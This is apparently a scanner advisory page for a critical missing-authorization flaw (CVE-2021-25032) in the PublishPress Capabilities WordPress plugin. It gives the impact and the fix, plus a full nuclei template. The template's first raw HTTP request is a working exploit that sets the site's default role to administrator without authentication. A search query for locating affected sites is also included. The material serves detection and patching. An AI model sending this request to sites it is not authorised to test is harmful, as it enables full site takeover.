PublishPress Capabilities < 2.3.1 - Missing Authorization

criticalseverity

9.8CVSS score

7.1%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

The PublishPress Capabilities plugin for WordPress before 2.3.1 does not have proper authorization and CSRF checks when updating settings via the init hook, allowing unauthenticated attackers to update arbitrary blog options, such as setting the default role to administrator.

Impact

Unauthenticated attackers can update arbitrary WordPress options including setting the default user role to administrator, leading to complete site compromise through privilege escalation.

Fix

Update the PublishPress Capabilities plugin to version 2.3.1 or later.

How to confirm it

Send: POST /wp-admin/admin.php ; POST /wp-login.php?redirect_to=http%3A%2F%2F{{Hostname}}%2Fwp-admin%2Foptions-general.php ; GET /wp-admin/admin.php?page=pp-capabilities
Positive when: contains in body_3 "selected'> Administrator" AND status 200

Run it with nuclei: nuclei -id CVE-2021-25032 -u <target>

The full check

id: CVE-2021-25032

info:
  name: PublishPress Capabilities < 2.3.1 - Missing Authorization
  author: ritikchaddha
  severity: critical
  description: |
    The PublishPress Capabilities plugin for WordPress before 2.3.1 does not have proper authorization and CSRF checks when updating settings via the init hook, allowing unauthenticated attackers to update arbitrary blog options, such as setting the default role to administrator.
  impact: |
    Unauthenticated attackers can update arbitrary WordPress options including setting the default user role to administrator, leading to complete site compromise through privilege escalation.
  remediation: |
    Update the PublishPress Capabilities plugin to version 2.3.1 or later.
  reference:
    - https://wpscan.com/vulnerability/2f0f1a32-0c7a-48e6-8617-e0b2dcf62727/
    - https://plugins.trac.wordpress.org/changeset/2640161
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25032
    - https://github.com/RandomRobbieBF/CVE-2021-25032
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25032
    cwe-id: CWE-352
    epss-score: 0.07069
    epss-percentile: 0.94262
    cpe: cpe:2.3:a:publishpress:capabilities:*:*:*:*:-:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: publishpress
    product: capabilities
    framework: wordpress
    fofa-query: body="/wp-content/plugins/capability-manager-enhanced"
  tags: wpscan,cve,cve2021,wordpress,wp-plugin,wp,capability-manager-enhanced,authenticated,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        page=pp-capabilities-settings&all_options=default_role&default_role=administrator

      - |
        POST /wp-login.php?redirect_to=http%3A%2F%2F{{Hostname}}%2Fwp-admin%2Foptions-general.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=pp-capabilities HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "selected'> Administrator"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from